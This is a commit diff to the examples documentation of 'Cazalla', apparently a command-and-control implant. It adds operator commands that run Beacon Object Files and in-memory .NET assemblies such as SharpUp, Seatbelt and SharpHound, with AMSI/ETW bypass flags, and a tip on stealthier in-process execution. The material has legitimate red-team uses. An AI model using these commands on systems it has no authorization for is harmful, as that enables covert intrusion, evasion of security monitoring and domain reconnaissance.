Bof and assemblies completed

documentation-payload/Cazalla/examples.md

@@ -494,6 +494,41 @@ keylog_start
 keylog_stop
 ```
 
+### BOF Execution
+
+```bash
+# Execute a BOF with no arguments
+inline_execute -BOF whoami.x64.o
+
+# Execute a BOF with integer argument
+inline_execute -BOF listmods.x64.o -Arguments int32:1234
+
+# Execute a BOF with multiple arguments
+inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
+
+# Execute a BOF with base64-encoded data
+inline_execute -BOF custom_bof.x64.o -Arguments base64:YWJjZGVm
+```
+
+### .NET Assembly Execution (In-Process)
+
+```bash
+# Execute assembly with arguments
+inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
+
+# Execute with AMSI and ETW bypass
+inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
+
+# Execute with all bypasses enabled
+inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --patchexit --amsi --etw
+
+# Execute privilege escalation check
+inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
+
+# Execute domain enumeration
+inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
+```
+
 ### Complete Post-Exploitation Workflow
 
 ```bash
@@ -608,6 +643,26 @@ whoami
 # (Commands run with domain credentials if token selected)
 ```
 
+### Code Execution Workflow
+
+```bash
+# 1. Execute a BOF for lightweight operations
+inline_execute -BOF whoami.x64.o
+inline_execute -BOF listmods.x64.o -Arguments int32:1234
+
+# 2. Execute .NET assembly for privilege escalation
+inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit
+
+# 3. Execute .NET assembly with bypasses for enumeration
+inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
+
+# 4. Execute domain enumeration
+inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local" --amsi --etw
+
+# Note: inline_execute_assembly provides better OPSEC than process spawning
+# (no process injection, in-process execution)
+```
+
 ---
 
 ## Tips and Best Practices